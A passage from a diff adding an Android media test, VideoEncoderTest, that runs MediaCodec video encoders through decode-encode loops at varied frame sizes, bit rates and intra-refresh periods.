+                    mMuxIndex = mMuxer.addTrack(format);
+                    mMuxer.start();
+                }
+            }
+        }
+
+        public boolean playBack(Surface surface) { return mEncodedStream.playAll(surface); }
+
+        public void setFrameAndBitRates(int frameRate, int bitRate) {
+            mFrameRate = frameRate;
+            mBitRate = bitRate;
+        }
+
+        @Override
+        public void onInputBufferAvailable(MediaCodec mediaCodec, int ix) {
+            synchronized (mCodecLock) {
+                if (mEncoder != null && mDecoder != null) {
+                    onInputBufferAvailableLocked(mediaCodec, ix);
+                }
+            }
+        }
+
+        @Override
+        public void onOutputBufferAvailable(
+                MediaCodec mediaCodec, int ix, BufferInfo info) {
+            synchronized (mCodecLock) {
+                if (mEncoder != null && mDecoder != null) {
+                    onOutputBufferAvailableLocked(mediaCodec, ix, info);
+                }
+            }
+        }
+
+        public abstract boolean processLoop(
+                String path, String outMime, String videoEncName,
+                int width, int height, boolean optional);
+        protected abstract void onInputBufferAvailableLocked(
+                MediaCodec mediaCodec, int ix);
+        protected abstract void onOutputBufferAvailableLocked(
+                MediaCodec mediaCodec, int ix, BufferInfo info);
+    }
+
+    class VideoProcessor extends VideoProcessorBase {
+        private static final String TAG = "VideoProcessor";
+        private boolean mWorkInProgress;
+        private boolean mGotDecoderEOS;
+        private boolean mSignaledEncoderEOS;
+
+        private LinkedList<Pair<Integer, BufferInfo>> mBuffersToRender =
+            new LinkedList<Pair<Integer, BufferInfo>>();
+        private LinkedList<Integer> mEncInputBuffers = new LinkedList<Integer>();
+
+        private int mEncInputBufferSize = -1;
+        private final AtomicReference<String> errorMsg = new AtomicReference(null);
+
+        @Override
+        public boolean processLoop(
+                 String path, String outMime, String videoEncName,
+                 int width, int height, boolean optional) {
+            boolean skipped = true;
+            try {
+                open(path);
+                if (!initCodecsAndConfigureEncoder(
+                        videoEncName, outMime, width, height,
+                        CodecCapabilities.COLOR_FormatYUV420Flexible)) {
+                    assertTrue("could not configure encoder for supported size", optional);
+                    return !skipped;
+                }
+                skipped = false;
+
+                mDecoder.configure(mDecFormat, null /* surface */, null /* crypto */, 0);
+
+                mDecoder.start();
+                mEncoder.start();
+
+                // main loop - process GL ops as only main thread has GL context
+                while (!mCompleted && errorMsg.get() == null) {
+                    Pair<Integer, BufferInfo> decBuffer = null;
+                    int encBuffer = -1;
+                    synchronized (mCondition) {
+                        try {
+                            // wait for an encoder input buffer and a decoder output buffer
+                            // Use a timeout to avoid stalling the test if it doesn't arrive.
+                            if (!haveBuffers() && !mCompleted) {
+                                mCondition.wait(mEncodeOutputFormatUpdated ?
+                                        FRAME_TIMEOUT_MS : INIT_TIMEOUT_MS);
+                            }
+                        } catch (InterruptedException ie) {
+                            fail("wait interrupted");  // shouldn't happen
+                        }
+                        if (mCompleted) {
+                            break;
+                        }
+                        if (!haveBuffers()) {
+                            if (mEncoderIsActive) {
+                                mEncoderIsActive = false;
+                                Log.d(TAG, "No more input but still getting output from encoder.");
+                                continue;
+                            }
+                            fail("timed out after " + mBuffersToRender.size()
+                                    + " decoder output and " + mEncInputBuffers.size()
+                                    + " encoder input buffers");
+                        }
+
+                        if (DEBUG) Log.v(TAG, "got image");
+                        decBuffer = mBuffersToRender.removeFirst();
+                        encBuffer = mEncInputBuffers.removeFirst();
+                        if (isEOSOnlyBuffer(decBuffer)) {
+                            queueEncoderEOS(decBuffer, encBuffer);
+                            continue;
+                        }
+                        mWorkInProgress = true;
+                    }
+
+                    if (mWorkInProgress) {
+                        renderDecodedBuffer(decBuffer, encBuffer);
+                        synchronized(mCondition) {
+                            mWorkInProgress = false;
+                        }
+                    }
+                }
+            } catch (IOException e) {
+                e.printStackTrace();
+                fail("received exception " + e);
+            } finally {
+                close();
+            }
+            assertNull(errorMsg.get(), errorMsg.get());
+            return !skipped;
+        }
+
+        @Override
+        public void onInputBufferAvailableLocked(MediaCodec mediaCodec, int ix) {
+            if (mediaCodec == mDecoder) {
+                // fill input buffer from extractor
+                fillDecoderInputBuffer(ix);
+            } else if (mediaCodec == mEncoder) {
+                synchronized(mCondition) {
+                    mEncInputBuffers.addLast(ix);
+                    tryToPropagateEOS();
+                    if (haveBuffers()) {
+                        mCondition.notifyAll();
+                    }
+                }
+            } else {
+                fail("received input buffer on " + mediaCodec.getName());
+            }
+        }
+
+        @Override
+        public void onOutputBufferAvailableLocked(
+                MediaCodec mediaCodec, int ix, BufferInfo info) {
+            if (mediaCodec == mDecoder) {
+                if (DEBUG) Log.v(TAG, "decoder received output #" + ix
+                         + " (sz=" + info.size + ", f=" + info.flags
+                         + ", ts=" + info.presentationTimeUs + ")");
+                // render output buffer from decoder
+                if (!mGotDecoderEOS) {
+                    boolean eos = (info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
+                    // can release empty buffers now
+                    if (info.size == 0) {
+                        mDecoder.releaseOutputBuffer(ix, false /* render */);
+                        ix = -1; // fake index used by render to not render
+                    }
+                    synchronized(mCondition) {
+                        if (ix < 0 && eos && mBuffersToRender.size() > 0) {
+                            // move lone EOS flag to last buffer to be rendered
+                            mBuffersToRender.peekLast().second.flags |=
+                                MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                        } else if (ix >= 0 || eos) {
+                            mBuffersToRender.addLast(Pair.create(ix, info));
+                        }
+                        if (eos) {
+                            tryToPropagateEOS();
+                            mGotDecoderEOS = true;
+                        }
+                        if (haveBuffers()) {
+                            mCondition.notifyAll();
+                        }
+                    }
+                }
+            } else if (mediaCodec == mEncoder) {
+                emptyEncoderOutputBuffer(ix, info);
+            } else {
+                fail("received output buffer on " + mediaCodec.getName());
+            }
+        }
+
+        private void renderDecodedBuffer(Pair<Integer, BufferInfo> decBuffer, int encBuffer) {
+            // process heavyweight actions under instance lock
+            Image encImage = mEncoder.getInputImage(encBuffer);
+            Image decImage = mDecoder.getOutputImage(decBuffer.first);
+            assertNotNull("could not get encoder image for " + mEncoder.getInputFormat(), encImage);
+            assertNotNull("could not get decoder image for " + mDecoder.getInputFormat(), decImage);
+            assertEquals("incorrect decoder format",decImage.getFormat(), ImageFormat.YUV_420_888);
+            assertEquals("incorrect encoder format", encImage.getFormat(), ImageFormat.YUV_420_888);
+
+            CodecUtils.copyFlexYUVImage(encImage, decImage);
+
+            // TRICKY: need this for queueBuffer
+            if (mEncInputBufferSize < 0) {
+                mEncInputBufferSize = mEncoder.getInputBuffer(encBuffer).capacity();
+            }
+            Log.d(TAG, "queuing input #" + encBuffer + " for encoder (sz="
+                    + mEncInputBufferSize + ", f=" + decBuffer.second.flags
+                    + ", ts=" + decBuffer.second.presentationTimeUs + ")");
+            mEncoder.queueInputBuffer(
+                    encBuffer, 0, mEncInputBufferSize, decBuffer.second.presentationTimeUs,
+                    decBuffer.second.flags);
+            if ((decBuffer.second.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                mSignaledEncoderEOS = true;
+            }
+            mDecoder.releaseOutputBuffer(decBuffer.first, false /* render */);
+        }
+
+        @Override
+        public void onError(MediaCodec mediaCodec, MediaCodec.CodecException e) {
+            String codecName = null;
+            try {
+                codecName = mediaCodec.getName();
+            } catch (Exception ex) {
+                codecName = "(error getting codec name)";
+            }
+            errorMsg.set("received error on " + codecName + ": " + e);
+        }
+
+        @Override
+        public void onOutputFormatChanged(MediaCodec mediaCodec, MediaFormat mediaFormat) {
+            Log.i(TAG, mediaCodec.getName() + " got new output format " + mediaFormat);
+            if (mediaCodec == mEncoder) {
+                mEncodeOutputFormatUpdated = true;
+                saveEncoderFormat(mediaFormat);
+            }
+        }
+
+        // next methods are synchronized on mCondition
+        private boolean haveBuffers() {
+            return mEncInputBuffers.size() > 0 && mBuffersToRender.size() > 0
+                    && !mSignaledEncoderEOS;
+        }
+
+        private boolean isEOSOnlyBuffer(Pair<Integer, BufferInfo> decBuffer) {
+            return decBuffer.first < 0 || decBuffer.second.size == 0;
+        }
+
+        protected void tryToPropagateEOS() {
+            if (!mWorkInProgress && haveBuffers() && isEOSOnlyBuffer(mBuffersToRender.getFirst())) {
+                Pair<Integer, BufferInfo> decBuffer = mBuffersToRender.removeFirst();
+                int encBuffer = mEncInputBuffers.removeFirst();
+                queueEncoderEOS(decBuffer, encBuffer);
+            }
+        }
+
+        void queueEncoderEOS(Pair<Integer, BufferInfo> decBuffer, int encBuffer) {
+            Log.d(TAG, "signaling encoder EOS");
+            mEncoder.queueInputBuffer(encBuffer, 0, 0, 0, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+            mSignaledEncoderEOS = true;
+            if (decBuffer.first >= 0) {
+                mDecoder.releaseOutputBuffer(decBuffer.first, false /* render */);
+            }
+        }
+    }
+
+
+    class SurfaceVideoProcessor extends VideoProcessorBase
+            implements SurfaceTexture.OnFrameAvailableListener {
+        private static final String TAG = "SurfaceVideoProcessor";
+        private boolean mFrameAvailable;
+        private boolean mGotDecoderEOS;
+        private boolean mSignaledEncoderEOS;
+
+        private InputSurface mEncSurface;
+        private OutputSurface mDecSurface;
+        private BufferInfo mInfoOnSurface;
+
+        private LinkedList<Pair<Integer, BufferInfo>> mBuffersToRender =
+            new LinkedList<Pair<Integer, BufferInfo>>();
+
+        private final AtomicReference<String> errorMsg = new AtomicReference(null);
+
+        @Override
+        public boolean processLoop(
+                String path, String outMime, String videoEncName,
+                int width, int height, boolean optional) {
+            boolean skipped = true;
+            try {
+                open(path);
+                if (!initCodecsAndConfigureEncoder(
+                        videoEncName, outMime, width, height,
+                        CodecCapabilities.COLOR_FormatSurface)) {
+                    assertTrue("could not configure encoder for supported size", optional);
+                    return !skipped;
+                }
+                skipped = false;
+
+                mEncSurface = new InputSurface(mEncoder.createInputSurface());
+                mEncSurface.makeCurrent();
+
+                mDecSurface = new OutputSurface(this);
+                //mDecSurface.changeFragmentShader(FRAGMENT_SHADER);
+                mDecoder.configure(mDecFormat, mDecSurface.getSurface(), null /* crypto */, 0);
+
+                mDecoder.start();
+                mEncoder.start();
+
+                // main loop - process GL ops as only main thread has GL context
+                while (!mCompleted && errorMsg.get() == null) {
+                    BufferInfo info = null;
+                    synchronized (mCondition) {
+                        try {
+                            // wait for mFrameAvailable, which is set by onFrameAvailable().
+                            // Use a timeout to avoid stalling the test if it doesn't arrive.
+                            if (!mFrameAvailable && !mCompleted && !mEncoderIsActive) {
+                                mCondition.wait(mEncodeOutputFormatUpdated ?
+                                        FRAME_TIMEOUT_MS : INIT_TIMEOUT_MS);
+                            }
+                        } catch (InterruptedException ie) {
+                            fail("wait interrupted");  // shouldn't happen
+                        }
+                        if (mCompleted) {
+                            break;
+                        }
+                        if (mEncoderIsActive) {
+                            mEncoderIsActive = false;
+                            if (DEBUG) Log.d(TAG, "encoder is still active, continue");
+                            continue;
+                        }
+                        assertTrue("still waiting for image", mFrameAvailable);
+                        if (DEBUG) Log.v(TAG, "got image");
+                        info = mInfoOnSurface;
+                    }
+                    if (info == null) {
+                        continue;
+                    }
+                    if (info.size > 0) {
+                        mDecSurface.latchImage();
+                        if (DEBUG) Log.v(TAG, "latched image");
+                        mFrameAvailable = false;
+
+                        mDecSurface.drawImage();
+                        Log.d(TAG, "encoding frame at " + info.presentationTimeUs * 1000);
+
+                        mEncSurface.setPresentationTime(info.presentationTimeUs * 1000);
+                        mEncSurface.swapBuffers();
+                    }
+                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                        mSignaledEncoderEOS = true;
+                        Log.d(TAG, "signaling encoder EOS");
+                        mEncoder.signalEndOfInputStream();
+                    }
+
+                    synchronized (mCondition) {
+                        mInfoOnSurface = null;
+                        if (mBuffersToRender.size() > 0 && mInfoOnSurface == null) {
+                            if (DEBUG) Log.v(TAG, "handling postponed frame");
+                            Pair<Integer, BufferInfo> nextBuffer = mBuffersToRender.removeFirst();
+                            renderDecodedBuffer(nextBuffer.first, nextBuffer.second);
+                        }
+                    }
+                }
+            } catch (IOException e) {
+                e.printStackTrace();
+                fail("received exception " + e);
+            } finally {
+                close();
+                if (mEncSurface != null) {
+                    mEncSurface.release();
+                    mEncSurface = null;
+                }
+                if (mDecSurface != null) {
+                    mDecSurface.release();
+                    mDecSurface = null;
+                }
+            }
+            assertNull(errorMsg.get(), errorMsg.get());
+            return !skipped;
+        }
+
+        @Override
+        public void onFrameAvailable(SurfaceTexture st) {
+            if (DEBUG) Log.v(TAG, "new frame available");
+            synchronized (mCondition) {
+                assertFalse("mFrameAvailable already set, frame could be dropped", mFrameAvailable);
+                mFrameAvailable = true;
+                mCondition.notifyAll();
+            }
+        }
+
+        @Override
+        public void onInputBufferAvailableLocked(MediaCodec mediaCodec, int ix) {
+            if (mediaCodec == mDecoder) {
+                // fill input buffer from extractor
+                fillDecoderInputBuffer(ix);
+            } else {
+                fail("received input buffer on " + mediaCodec.getName());
+            }
+        }
+
+        @Override
+        public void onOutputBufferAvailableLocked(
+                MediaCodec mediaCodec, int ix, BufferInfo info) {
+            if (mediaCodec == mDecoder) {
+                if (DEBUG) Log.v(TAG, "decoder received output #" + ix
+                         + " (sz=" + info.size + ", f=" + info.flags
+                         + ", ts=" + info.presentationTimeUs + ")");
+                // render output buffer from decoder
+                if (!mGotDecoderEOS) {
+                    boolean eos = (info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
+                    if (eos) {
+                        mGotDecoderEOS = true;
+                    }
+                    // can release empty buffers now
+                    if (info.size == 0) {
+                        mDecoder.releaseOutputBuffer(ix, false /* render */);
+                        ix = -1; // fake index used by render to not render
+                    }
+                    if (eos || info.size > 0) {
+                        synchronized(mCondition) {
+                            if (mInfoOnSurface != null || mBuffersToRender.size() > 0) {
+                                if (DEBUG) Log.v(TAG, "postponing render, surface busy");
+                                mBuffersToRender.addLast(Pair.create(ix, info));
+                            } else {
+                                renderDecodedBuffer(ix, info);
+                            }
+                        }
+                    }
+                }
+            } else if (mediaCodec == mEncoder) {
+                emptyEncoderOutputBuffer(ix, info);
+                synchronized(mCondition) {
+                    if (!mCompleted) {
+                        mEncoderIsActive = true;
+                        mCondition.notifyAll();
+                    }
+                }
+            } else {
+                fail("received output buffer on " + mediaCodec.getName());
+            }
+        }
+
+        private void renderDecodedBuffer(int ix, BufferInfo info) {
+            boolean eos = (info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
+            mInfoOnSurface = info;
+            if (info.size > 0) {
+                Log.d(TAG, "rendering frame #" + ix + " at " + info.presentationTimeUs * 1000
+                        + (eos ? " with EOS" : ""));
+                mDecoder.releaseOutputBuffer(ix, info.presentationTimeUs * 1000);
+            }
+
+            if (eos && info.size == 0) {
+                if (DEBUG) Log.v(TAG, "decoder output EOS available");
+                mFrameAvailable = true;
+                mCondition.notifyAll();
+            }
+        }
+
+        @Override
+        public void onError(MediaCodec mediaCodec, MediaCodec.CodecException e) {
+            String codecName = null;
+            try {
+                codecName = mediaCodec.getName();
+            } catch (Exception ex) {
+                codecName = "(error getting codec name)";
+            }
+            errorMsg.set("received error on " + codecName + ": " + e);
+        }
+
+        @Override
+        public void onOutputFormatChanged(MediaCodec mediaCodec, MediaFormat mediaFormat) {
+            Log.i(TAG, mediaCodec.getName() + " got new output format " + mediaFormat);
+            if (mediaCodec == mEncoder) {
+                mEncodeOutputFormatUpdated = true;
+                saveEncoderFormat(mediaFormat);
+            }
+        }
+    }
+
+    static class EncoderSize {
+        private final boolean DEBUG = false;
+        private static final String TAG = "EncoderSize";
+        final private String mName;
+        final private String mMime;
+        final private CodecCapabilities mCaps;
+        final private VideoCapabilities mVideoCaps;
+
+        final public Map<Size, Set<Size>> mMinMax;     // extreme sizes
+        final public Map<Size, Set<Size>> mNearMinMax; // sizes near extreme
+        final public Set<Size> mArbitraryW;            // arbitrary widths in the middle
+        final public Set<Size> mArbitraryH;            // arbitrary heights in the middle
+        final public Set<Size> mSizes;                 // all non-specifically tested sizes
+
+        final private int xAlign;
+        final private int yAlign;
+
+        EncoderSize(String name, String mime, CodecCapabilities caps) {
+            mName = name;
+            mMime = mime;
+            mCaps = caps;
+            mVideoCaps = caps.getVideoCapabilities();
+
+            /* calculate min/max sizes */
+            mMinMax = new HashMap<Size, Set<Size>>();
+            mNearMinMax = new HashMap<Size, Set<Size>>();
+            mArbitraryW = new HashSet<Size>();
+            mArbitraryH = new HashSet<Size>();
+            mSizes = new HashSet<Size>();
+
+            xAlign = mVideoCaps.getWidthAlignment();
+            yAlign = mVideoCaps.getHeightAlignment();
+
+            initializeSizes();
+        }
+
+        private void initializeSizes() {
+            for (int x = 0; x < 2; ++x) {
+                for (int y = 0; y < 2; ++y) {
+                    addExtremeSizesFor(x, y);
+                }
+            }
+
+            // initialize arbitrary sizes
+            for (int i = 1; i <= 7; ++i) {
+                int j = ((7 * i) % 11) + 1;
+                int width, height;
+                try {
+                    width = alignedPointInRange(i * 0.125, xAlign, mVideoCaps.getSupportedWidths());
+                    height = alignedPointInRange(j * 0.077, yAlign,
+                            mVideoCaps.getSupportedHeightsFor(width));
+                    mArbitraryW.add(new Size(width, height));
+                } catch (IllegalArgumentException e) {
+                }
+
+                try {
+                    height = alignedPointInRange(i * 0.125, yAlign,
+                            mVideoCaps.getSupportedHeights());
+                    width = alignedPointInRange(j * 0.077, xAlign,
+                            mVideoCaps.getSupportedWidthsFor(height));
+                    mArbitraryH.add(new Size(width, height));
+                } catch (IllegalArgumentException e) {
+                }
+            }
+            mArbitraryW.removeAll(mArbitraryH);
+            mArbitraryW.removeAll(mSizes);
+            mSizes.addAll(mArbitraryW);
+            mArbitraryH.removeAll(mSizes);
+            mSizes.addAll(mArbitraryH);
+            if (DEBUG) Log.i(TAG, "arbitrary=" + mArbitraryW + "/" + mArbitraryH);
+        }
+
+        private void addExtremeSizesFor(int x, int y) {
+            Set<Size> minMax = new HashSet<Size>();
+            Set<Size> nearMinMax = new HashSet<Size>();
+
+            for (int dx = 0; dx <= xAlign; dx += xAlign) {
+                for (int dy = 0; dy <= yAlign; dy += yAlign) {
+                    Set<Size> bucket = (dx + dy == 0) ? minMax : nearMinMax;
+                    try {
+                        int width = getExtreme(mVideoCaps.getSupportedWidths(), x, dx);
+                        int height = getExtreme(mVideoCaps.getSupportedHeightsFor(width), y, dy);
+                        bucket.add(new Size(width, height));
+
+                        // try max max with more reasonable ratio if too skewed
+                        if (x + y == 2 && width >= 4 * height) {
+                            Size wideScreen = getLargestSizeForRatio(16, 9);
+                            width = getExtreme(
+                                    mVideoCaps.getSupportedWidths()
+                                            .intersect(0, wideScreen.getWidth()), x, dx);
+                            height = getExtreme(mVideoCaps.getSupportedHeightsFor(width), y, 0);
+                            bucket.add(new Size(width, height));
+                        }
+                    } catch (IllegalArgumentException e) {
+                    }
+
+                    try {
+                        int height = getExtreme(mVideoCaps.getSupportedHeights(), y, dy);
+                        int width = getExtreme(mVideoCaps.getSupportedWidthsFor(height), x, dx);
+                        bucket.add(new Size(width, height));
+
+                        // try max max with more reasonable ratio if too skewed
+                        if (x + y == 2 && height >= 4 * width) {
+                            Size wideScreen = getLargestSizeForRatio(9, 16);
+                            height = getExtreme(
+                                    mVideoCaps.getSupportedHeights()
+                                            .intersect(0, wideScreen.getHeight()), y, dy);
+                            width = getExtreme(mVideoCaps.getSupportedWidthsFor(height), x, dx);
+                            bucket.add(new Size(width, height));
+                        }
+                    } catch (IllegalArgumentException e) {
+                    }
+                }
+            }
+
+            // keep unique sizes
+            minMax.removeAll(mSizes);
+            mSizes.addAll(minMax);
+            nearMinMax.removeAll(mSizes);
+            mSizes.addAll(nearMinMax);
+
+            mMinMax.put(new Size(x, y), minMax);
+            mNearMinMax.put(new Size(x, y), nearMinMax);
+            if (DEBUG) Log.i(TAG, x + "x" + y + ": minMax=" + mMinMax + ", near=" + mNearMinMax);
+        }
+
+        private int alignInRange(double value, int align, Range<Integer> range) {
+            return range.clamp(align * (int)Math.round(value / align));
+        }
+
+        /* point should be between 0. and 1. */
+        private int alignedPointInRange(double point, int align, Range<Integer> range) {
+            return alignInRange(
+                    range.getLower() + point * (range.getUpper() - range.getLower()), align, range);
+        }
+
+        private int getExtreme(Range<Integer> range, int i, int delta) {
+            int dim = i == 1 ? range.getUpper() - delta : range.getLower() + delta;
+            if (delta == 0
+                    || (dim > range.getLower() && dim < range.getUpper())) {
+                return dim;
+            }
+            throw new IllegalArgumentException();
+        }
+
+        private Size getLargestSizeForRatio(int x, int y) {
+            Range<Integer> widthRange = mVideoCaps.getSupportedWidths();
+            Range<Integer> heightRange = mVideoCaps.getSupportedHeightsFor(widthRange.getUpper());
+            final int xAlign = mVideoCaps.getWidthAlignment();
+            final int yAlign = mVideoCaps.getHeightAlignment();
+
+            // scale by alignment
+            int width = alignInRange(
+                    Math.sqrt(widthRange.getUpper() * heightRange.getUpper() * (double)x / y),
+                    xAlign, widthRange);
+            int height = alignInRange(
+                    width * (double)y / x, yAlign, mVideoCaps.getSupportedHeightsFor(width));
+            return new Size(width, height);
+        }
+    }
+
+    class Encoder {
+        final private String mName;
+        final private String mMime;
+        final private CodecCapabilities mCaps;
+        final private VideoCapabilities mVideoCaps;
+
+
+        Encoder(String name, String mime, CodecCapabilities caps) {
+            mName = name;
+            mMime = mime;
+            mCaps = caps;
+            mVideoCaps = caps.getVideoCapabilities();
+        }
+
+        public boolean testSpecific(int width, int height, boolean flexYUV) {
+            return test(width, height, true /* optional */, flexYUV);
+        }
+
+        public boolean testIntraRefresh(int width, int height) {
+            if (!mCaps.isFeatureSupported(CodecCapabilities.FEATURE_IntraRefresh)) {
+                return false;
+            }
+
+            final int refreshPeriod[] = new int[] {10, 13, 17, 22, 29, 38, 50, 60};
+
+            // Test the support of refresh periods in the range of 10 - 60 frames
+            for (int period : refreshPeriod) {
+                Function<MediaFormat, Boolean> updateConfigFormatHook =
+                new Function<MediaFormat, Boolean>() {
+                    public Boolean apply(MediaFormat fmt) {
+                        // set i-frame-interval to 10000 so encoded video only has 1 i-frame.
+                        fmt.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 10000);
+                        fmt.setInteger(MediaFormat.KEY_INTRA_REFRESH_PERIOD, period);
+                        return true;
+                    }
+                };
+
+                Function<MediaFormat, Boolean> checkOutputFormatHook =
+                new Function<MediaFormat, Boolean>() {
+                    public Boolean apply(MediaFormat fmt) {
+                        int intraPeriod = fmt.getInteger(MediaFormat.KEY_INTRA_REFRESH_PERIOD);
+                        // Make sure intra period is correct and carried in the output format.
+                        // intraPeriod must be larger than 0 and operate within 20% of refresh
+                        // period.
+                        if (intraPeriod > 1.2 * period || intraPeriod < 0.8 * period) {
+                            throw new RuntimeException("Intra period mismatch");
+                        }
+                        return true;
+                    }
+                };
+
+                String testName =
+                mName + '_' + width + "x" + height + '_' + "flexYUV_intraRefresh";
+
+                Consumer<VideoProcessorBase> configureVideoProcessor =
+                new Consumer<VideoProcessorBase>() {
+                    public void accept(VideoProcessorBase processor) {
+                        processor.setProcessorName(testName);
+                        processor.setUpdateConfigHook(updateConfigFormatHook);
+                        processor.setCheckOutputFormatHook(checkOutputFormatHook);
+                    }
+                };
+
+                if (!test(width, height, 0 /* frameRate */, 0 /* bitRate */, true /* optional */,
+                    true /* flex */, configureVideoProcessor)) {
+                    return false;
+                }
+            }
+
+            return true;
+        }
+
+        public boolean testDetailed(
+                int width, int height, int frameRate, int bitRate, boolean flexYUV) {
+            String testName =
+                    mName + '_' + width + "x" + height + '_' + (flexYUV ? "flexYUV" : " surface");
+            Consumer<VideoProcessorBase> configureVideoProcessor =
+                    new Consumer<VideoProcessorBase>() {
+                public void accept(VideoProcessorBase processor) {
+                    processor.setProcessorName(testName);
+                }
+            };
+            return test(width, height, frameRate, bitRate, true /* optional */, flexYUV,
+                    configureVideoProcessor);
+        }
+
+        public boolean testSupport(int width, int height, int frameRate, int bitRate) {
+            return mVideoCaps.areSizeAndRateSupported(width, height, frameRate) &&
+                    mVideoCaps.getBitrateRange().contains(bitRate);
+        }
+
+        private boolean test(
+                int width, int height, boolean optional, boolean flexYUV) {
+            String testName =
+                    mName + '_' + width + "x" + height + '_' + (flexYUV ? "flexYUV" : " surface");
+            Consumer<VideoProcessorBase> configureVideoProcessor =
+                    new Consumer<VideoProcessorBase>() {
+                public void accept(VideoProcessorBase processor) {
+                    processor.setProcessorName(testName);
+                }
+            };
+            return test(width, height, 0 /* frameRate */, 0 /* bitRate */,
+                    optional, flexYUV, configureVideoProcessor);
+        }
+
+        private boolean test(
+                int width, int height, int frameRate, int bitRate, boolean optional,
+                boolean flexYUV, Consumer<VideoProcessorBase> configureVideoProcessor) {
+            Log.i(TAG, "testing " + mMime + " on " + mName + " for " + width + "x" + height
+                    + (flexYUV ? " flexYUV" : " surface"));
+
+            Preconditions.assertTestFileExists(SOURCE_URL);
+
+            VideoProcessorBase processor =
+                flexYUV ? new VideoProcessor() : new SurfaceVideoProcessor();
+
+            processor.setFrameAndBitRates(frameRate, bitRate);
+            configureVideoProcessor.accept(processor);
+
+            // We are using a resource URL as an example
+            boolean success = processor.processLoop(
+                    SOURCE_URL, mMime, mName, width, height, optional);
+            if (success) {
+                success = processor.playBack(getActivity().getSurfaceHolder().getSurface());
+            }
+            return success;
+        }
+    }
+    private static CodecCapabilities getCodecCapabities(String encoderName, String mime,
+                                                        boolean isEncoder) {
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+            if (isEncoder != codecInfo.isEncoder()) {
+                continue;
+            }
+            if (encoderName.equals(codecInfo.getName())) {
+                return codecInfo.getCapabilitiesForType(mime);
+            }
+        }
+        return null;
+    }
+    private Encoder getEncHandle(String encodername, String mime) {
+        CodecCapabilities caps = getCodecCapabities(encodername, mime, true);
+        assertNotNull(caps);
+        Encoder encoder = new Encoder(encodername, mime, caps);
+        return encoder;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{2}x{3}_{4}_{5})")
+    public static Collection<Object[]> input() {
+        final String[] mediaTypesList = new String[] {
+                MediaFormat.MIMETYPE_VIDEO_AVC,
+                MediaFormat.MIMETYPE_VIDEO_H263,
+                MediaFormat.MIMETYPE_VIDEO_HEVC,
+                MediaFormat.MIMETYPE_VIDEO_MPEG4,
+                MediaFormat.MIMETYPE_VIDEO_VP8,
+                MediaFormat.MIMETYPE_VIDEO_VP9,
+        };
+        final List<Object[]> argsList = new ArrayList<>();
+        for (String mediaType : mediaTypesList) {
+            if (TestArgs.shouldSkipMediaType(mediaType)) {
+                continue;
+            }
+            String[] encoders = MediaUtils.getEncoderNamesForMime(mediaType);
+            for (String encoder : encoders) {
+                if (TestArgs.shouldSkipCodec(encoder)) {
+                    continue;
+                }
+                CodecCapabilities caps = getCodecCapabities(encoder, mediaType, true);
+                assertNotNull(caps);
+                EncoderSize encoderSize = new EncoderSize(encoder, mediaType, caps);
+                final Set<Size> sizes = new HashSet<Size>();
+                for (boolean near : new boolean[] {false, true}) {
+                    Map<Size, Set<Size>> testSizes =
+                            near ? encoderSize.mNearMinMax : encoderSize.mMinMax;
+                    for (int x = 0; x < 2; x++) {
+                        for (int y = 0; y < 2; y++) {
+                            for (Size s : testSizes.get(new Size(x, y))) {
+                                sizes.add(new Size(s.getWidth(), s.getHeight()));
+                            }
+                        }
+                    }
+                }
+                for (boolean widths : new boolean[] {false, true}) {
+                    for (Size s : (widths ? encoderSize.mArbitraryW : encoderSize.mArbitraryH)) {
+                        sizes.add(new Size(s.getWidth(), s.getHeight()));
+                    }
+                }
+                final Set<Size> specificSizes = new HashSet<Size>();
+                specificSizes.add(new Size(176, 144));
+                specificSizes.add(new Size(320, 180));
+                specificSizes.add(new Size(320, 240));
+                specificSizes.add(new Size(720, 480));
+                specificSizes.add(new Size(1280, 720));
+                specificSizes.add(new Size(1920, 1080));
+
+                for (boolean flexYuv : new boolean[] {false, true}) {
+                    for (Size s : specificSizes) {
+                        argsList.add(new Object[]{encoder, mediaType, s.getWidth(), s.getHeight(),
+                                flexYuv, TestMode.TEST_MODE_DETAILED});
+                    }
+                }
+
+                argsList.add(new Object[]{encoder, mediaType, 480, 360, true,
+                        TestMode.TEST_MODE_INTRAREFRESH});
+                sizes.removeAll(specificSizes);
+                specificSizes.addAll(sizes);
+                for (boolean flexYuv : new boolean[] {false, true}) {
+                    for (Size s : specificSizes) {
+                        argsList.add(new Object[]{encoder, mediaType, s.getWidth(), s.getHeight(),
+                                flexYuv, TestMode.TEST_MODE_SPECIFIC});
+                    }
+                }
+            }
+        }
+        return argsList;
+    }
+
+    public VideoEncoderTest(String encoderName, String mime, int width, int height, boolean flexYuv,
+                            TestMode mode) {
+        mEncHandle = getEncHandle(encoderName, mime);
+        mWidth = width;
+        mHeight = height;
+        mFlexYuv = flexYuv;
+        mMode = mode;
+    }
+
+    @Test
+    public void testEncode() {
+        int frameRate = 30;
+        int bitRate;
+        int lumaSamples = mWidth * mHeight;
+        if (lumaSamples <= 320 * 240) {
+            bitRate = 384 * 1000;
+        } else if (lumaSamples <= 720 * 480) {
+            bitRate = 2 * 1000000;
+        } else if (lumaSamples <= 1280 * 720) {
+            bitRate = 4 * 1000000;
+        } else {
+            bitRate = 10 * 1000000;
+        }
+        switch (mMode) {
+            case TEST_MODE_SPECIFIC:
+                specific(new Encoder[]{mEncHandle}, mWidth, mHeight, mFlexYuv);
+                break;
+            case TEST_MODE_DETAILED:
+                detailed(new Encoder[]{mEncHandle}, mWidth, mHeight, frameRate, bitRate, mFlexYuv);
+                break;
+            case TEST_MODE_INTRAREFRESH:
+                intraRefresh(new Encoder[]{mEncHandle}, mWidth, mHeight);
+                break;
+        }
+    }
+
+    /* test specific size */
+    private void specific(Encoder[] encoders, int width, int height, boolean flexYUV) {
+        boolean skipped = true;
+        if (encoders.length == 0) {
+            MediaUtils.skipTest("no such encoder present");
+            return;
+        }
